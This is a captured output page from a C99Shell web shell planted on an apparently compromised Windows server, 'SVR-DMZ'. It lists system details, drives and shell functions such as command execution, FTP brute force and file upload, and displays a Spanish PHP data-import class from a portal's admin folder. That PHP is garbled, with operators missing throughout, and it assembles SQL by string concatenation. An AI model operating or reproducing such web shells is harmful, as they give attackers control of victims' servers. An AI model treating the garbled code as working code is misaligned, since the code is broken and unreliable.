!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\portel_dama\administracion\Copia de clases_herramientas\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class_importar.php (10.7 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Esta clase es más un subprograma usado para importar datos directos desde la aplicación anterior del Portal

class select_import {  

       
       function 
select_import () 
       {
       
            
// 1. Set importador para categorias
            
                
$seleccion "tema_id, tema_desc";
                
$desde "cate";
                
$cuando "id != 0";
                
$numero_campos 2;
                
                
// Variables de categorias
                
$offset "00.1";
                
$formato_id "4";
                
$categoria_fondo_hex "#999999";
                
$categoria_fondo_imagen "gif/fondo_default.gif";
                
$categoria_banner_imagen "jpg/imagen_default.jpg";
                
$categoria_estado 0;
                    
                        
// 1.1 Definir Query Real (encuentra los resultados deseados)
                        
$query "select " $seleccion " from " $desde " where " $cuando;
                        
$select = new Select($query$numero_campos,0);
                
                        
// 1.2 Extrae los resultados en un arreglo de dos dimensiones
                        
$resultados $select->RESULTADO;
                        
$this->RESULTADOS $select->RESULTADO;
                        
$this->NUMERO_REGISTROS $select->NUMERO_REGISTROS;
                        
                        
//echo $resultados;
                        
echo $this->NUMERO_REGISTROS;
                        
                        
// 1.3 Por cada uno de los registros encontrados, crea una categoria en blanco
                        
for ($i 0$i $this->NUMERO_REGISTROS$i++) {                
                            
                            
// 1.3.1 Crea un insert por cada campo
                            
for ($a 0$a $numero_campos$a++) {
                                
                                
// 1.3.1.1 Recuperación de Tema_id
                                
if ($a == 0) {
                                    
$sub_cadena str_replace(".","",$resultados[$i][$a]);
                                    
$categoria_tema_id $offset $sub_cadena;
                                }
                                
// 1.3.1.2 Recuperación de Tema_id
                                
if ($a == 1) {
                                    
$categoria_tema_desc $resultados[$i][$a];
                                }
                                
                            }
                            
                            
                            
// 1.3.2 Concatenación del Insert
                            
$tabla "contenido_categoria";
                            
                            
$valores_insertar "'','$categoria_tema_id','$categoria_tema_desc','$formato_id','$categoria_fondo_hex','$categoria_fondo_imagen','$categoria_banner_imagen','$categoria_estado'";
                            
$query "insert into " $tabla " values(" $valores_insertar ")";
                            echo 
$query "<br>";
                            
$insert = new Select($query"ins_",0);
                        }
                        
                    
            
//exit;            
                        
            // 2. Set importador de enlaces
            
                
$seleccion "temas_id, nombre, descripcion, estado, link, entidad_id, perfil, priority, graphic, foto_link, fecha, texto, mes, dis, temas_id";
                
$desde "links";
                
$cuando "id != 0";
                
$numero_campos 15;
                
                
// Variables de links
                
$links_perfil_id 1;
                
$fuente_id 1// La Empresa Matriz, removibles
                
$links_foro 0;    
                        
                        
// 2.1 Definir Query Real (encuentra los resultados deseados)
                        
$query "select " $seleccion " from " $desde " where " $cuando;
                        
$select = new Select($query$numero_campos,0);
                
                        
// 2.2 Extrae los resultados en un arreglo de dos dimensiones
                        
$resultados $select->RESULTADO;
                        
$this->RESULTADOS $select->RESULTADO;
                        
$this->NUMERO_REGISTROS $select->NUMERO_REGISTROS;
                        
                        
//echo $resultados;
                        
echo "<p>";
                        echo 
$this->NUMERO_REGISTROS;
                        echo 
"</p>";
                        
                        
// 2.3 Por cada uno de los registros encontrados, crea una categoria en blanco
                        
for ($i 0$i $this->NUMERO_REGISTROS$i++) {                
                            
                            
$foto_procedure 0;
                            
                            
// 2.3.1 Crea un insert por cada campo
                            
for ($a 0$a $numero_campos$a++) {                        
                                
//echo $resultados[$i][$a];        
                                // 2.3.1.1 Recuperación de temas_id
                                
if ($a == 14) {
                                    
$links_temas_id $resultados[$i][$a];
                                }
                                
// 2.3.1.2 Recuperación de nombre
                                
if ($a == 1) {
                                    
$links_nombre $resultados[$i][$a];
                                }                        
                                
// 2.3.1.3 Recuperación de descripcion
                                
if ($a == 2) {
                                    
$links_descripcion $resultados[$i][$a];
                                    
$len_d strlen($links_descripcion);
                                }
                                
// 2.3.1.4 Recuperación de estado
                                
if ($a == 3) {
                                    
$links_estado $resultados[$i][$a];
                                }                        
                                
// 2.3.1.5 Recuperación de link
                                
if ($a == 4) {
                                    
$links_link $resultados[$i][$a];
                                    
$v_1 substr_count($links_link"http:");
                                    
$v_2 substr_count($links_link"histo");
                                    
$v_2_2 substr_count($links_link"../documents/");
                                    if (
$links_link == "" or $v_1 == or $v_2 != 0) {
                                        
$links_tipo_id 1;
                                    }
                                    if (
$v_1 != 0) {
                                        
$links_tipo_id 2;
                                    }
                                    if (
$links_link != "" and $v_2_2 0) {
                                        
$v_1 strrpos($links_link"/");
                                        
$v_2 strrpos($links_link".");
                                        
$v_2++;
                                        
$v_3 = (strlen($links_link) - $v_2);
                                        
$v_4 = (strlen($links_link) - $v_1);
                                        
$v_4 substr($links_link$v_1$v_4);
                                        
$v_3 substr($links_link$v_2$v_3);
                                        
$links_link $v_3 $v_4 ;
                                        if (
file_exists("../../libreria/" $links_link)) {
                                            echo 
"<b>" $links_link "</b>";
                                        }else{
                                            echo 
"<b> Not Found </b>";
                                        }                                        
                                    }
                                }
                                
// 2.3.1.6 Recuperación de entidad_id
                                
if ($a == 5) {
                                    
$fuente_id $resultados[$i][$a];
                                    
// Ingresar la búsqueda de la entidad
                                    
$fuente_id 1;
                                }                        
                                
// 2.3.1.7 Recuperación de perfil
                                
if ($a == 6) {
                                    
$links_perfil_id $resultados[$i][$a];
                                }
                                
// 2.3.1.8 Recuperación de priority
                                
if ($a == 7) {
                                    
$links_orden $resultados[$i][$a];
                                }                        
                                
// 2.3.1.9 Recuperación de graphic
                                
if ($a == 8) {
                                    
$foto_procedure $resultados[$i][$a];
                                    if (
$foto_procedure != 0) {
                                        
$foto_procedure 1;
                                    }
                                }
                                
// 2.3.1.10 Recuperación de foto_link
                                
if ($a == 9) {
                                    
$foto_archivo $resultados[$i][$a];
                                    
$v_1 strrpos($foto_archivo"/");
                                    
$v_2 strrpos($foto_archivo".");
                                    
$v_2++;
                                    
$v_3 = (strlen($foto_archivo) - $v_2);
                                    
$v_4 = (strlen($foto_archivo) - $v_1);
                                    
$v_4 substr($foto_archivo$v_1$v_4);
                                    
$v_3 substr($foto_archivo$v_2$v_3);
                                    
$foto_archivo $v_3 $v_4 ;
                                    
                                }                        
                                
// 2.3.1.11 Recuperación de fecha
                                
if ($a == 10) {
                                    
$links_fecha_publicacion $resultados[$i][$a];
                                    
                                    if (
$links_fecha_publicacion == "#" or $links_fecha_publicacion == "" or $links_fecha_publicacion == "#>") {
                                        
$f = new fecha;
                                        
$f->sys_fecha();
                                        
$fecha $f->FECHA_SYS;
                                        
$links_fecha_ingreso $fecha;
                                        
$links_fecha_publicacion $fecha;
                                        
$links_fecha_retiro "2007-05-15 00:00:00";
                                    }else{
                                        if (
$links_fecha_publicacion == 2001 or $links_fecha_publicacion == 2002 or $links_fecha_publicacion == 2003 or $links_fecha_publicacion == 2004 or $links_fecha_publicacion == 2005) {                                    
                                            
$fecha $links_fecha_publicacion "-" $resultados[$i][12] . "-" $resultados[$i][13] . " 00:00:00";
                                            
$fecha_r = ($links_fecha_publicacion 1) . "-" $resultados[$i][12] . "-" $resultados[$i][13] . " 00:00:00";
                                            
$links_fecha_ingreso $fecha;
                                            
$links_fecha_publicacion $fecha;
                                            
$links_fecha_retiro $fecha_r;
                                        }else{
                                            
$f = new fecha;
                                            
$f->sys_fecha();
                                            
$fecha $f->FECHA_SYS;
                                            
$links_fecha_ingreso $fecha;
                                            
$links_fecha_publicacion $fecha;
                                            
$links_fecha_retiro "2007-05-15 00:00:00";                                                                                        
                                        }    
                                    }

                                }
                                
// 2.3.1.12 Recuperación de texto
                                
if ($a == 11) {
                                    
$links_texto $resultados[$i][$a];
                                    
$len_t strlen($links_texto);
                                    if (
$len_d $len_t) {
                                        
$links_texto $links_descripcion;
                                        
//$links_descripcion = substr($links_descripcion, 0, 100) . "...";
                                        
echo "<b>" "yes" "</b>";
                                    }
                                }                        
                        
                            }
                            
// 2.3.2 Inserción de links
                            
$tabla "contenido_links";
                            
$valores_insertar "'','$links_nombre','$links_descripcion','$links_texto','$links_tipo_id','$links_estado','$links_link','$fuente_id','$links_perfil_id','$links_orden','$links_fecha_ingreso','$links_fecha_publicacion','$links_fecha_retiro','0'";
                            
//echo $valores_insertar . "<br>";
                            
$query "insert into " $tabla " values(" $valores_insertar ")";
                            
//echo $query . "<br>";
                            
$insert = new Select($query"ins_",0);
                            
$nuevo_link $insert->LAST_ID;
                            
                            
//exit;
                            // 2.3.3 Relación con fotos y medios
                            
if ($foto_procedure == 1) {
                                
$f_file $foto_archivo;
                                
$foto_archivo "../../libreria/" $foto_archivo;
                                if (
file_exists($foto_archivo)) {
                                    
$size GetImageSize($foto_archivo); 
                                    
$foto_alto $size[1];
                                    
$foto_ancho $size[0];
                                }else{
                                    
$foto_alto 0;
                                    
$foto_ancho 0;
                                }
                                    
$foto_tamano filesize($foto_archivo);                                
                                
                            
                                
// 2.3.3.1 Inserción de la imágen
                                
$tabla "contenido_foto_y_medios";
                                
$valores_insertar "'','$links_nombre','','','$fuente_id','$v_3','$foto_ancho','$foto_alto','$f_file','$foto_tamano','0'";
                                echo 
"<p>";
                                echo 
$valores_insertar;
                                echo 
"</p>";
                                
$query "insert into " $tabla " values(" $valores_insertar ")";
                                echo 
$query "<br>";
                                
$insert = new Select($query"ins_",0);
                                
$nueva_foto $insert->LAST_ID;
                                
                                
// 2.3.3.2 Inserción de la relación
                                
$tabla "contenido_pertenencia_foto_links";
                                
$valores_insertar "'$nuevo_link', '$nueva_foto'";
                                
$query "insert into " $tabla " values(" $valores_insertar ")";
                                echo 
$query "<br>";
                                
$insert = new Select($query"ins_",0);
                            
                            }
                            
                            
// 2.3.4 Crear relación del nuevo link a las categorias
                            
$temas explode("-",$links_temas_id);
                            
//echo "<b>" . $links_temas_id . "</b>";
                            
$tabla "contenido_pertenencia_categoria_links";
                            
                            foreach (
$temas as $t_t) {
                            
                                if (
$t_t != "") {
                                    echo 
$t_t;                                
                                    
$sub_cadena str_replace(".","",$t_t);
                                    
$categoria_tema_id $offset $sub_cadena;
                                    
$valores_insertar "'$nuevo_link', '$categoria_tema_id'";
                                    
//echo "<p>";
                                    //echo $valores_insertar;
                                    //echo "</p>";
                                    
$query "insert into " $tabla " values(" $valores_insertar ")";
                                    echo 
$query "<br>";
                                    
$insert = new Select($query"ins_",0);
                                }
                            
                            }
                                
                        }
        
        }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--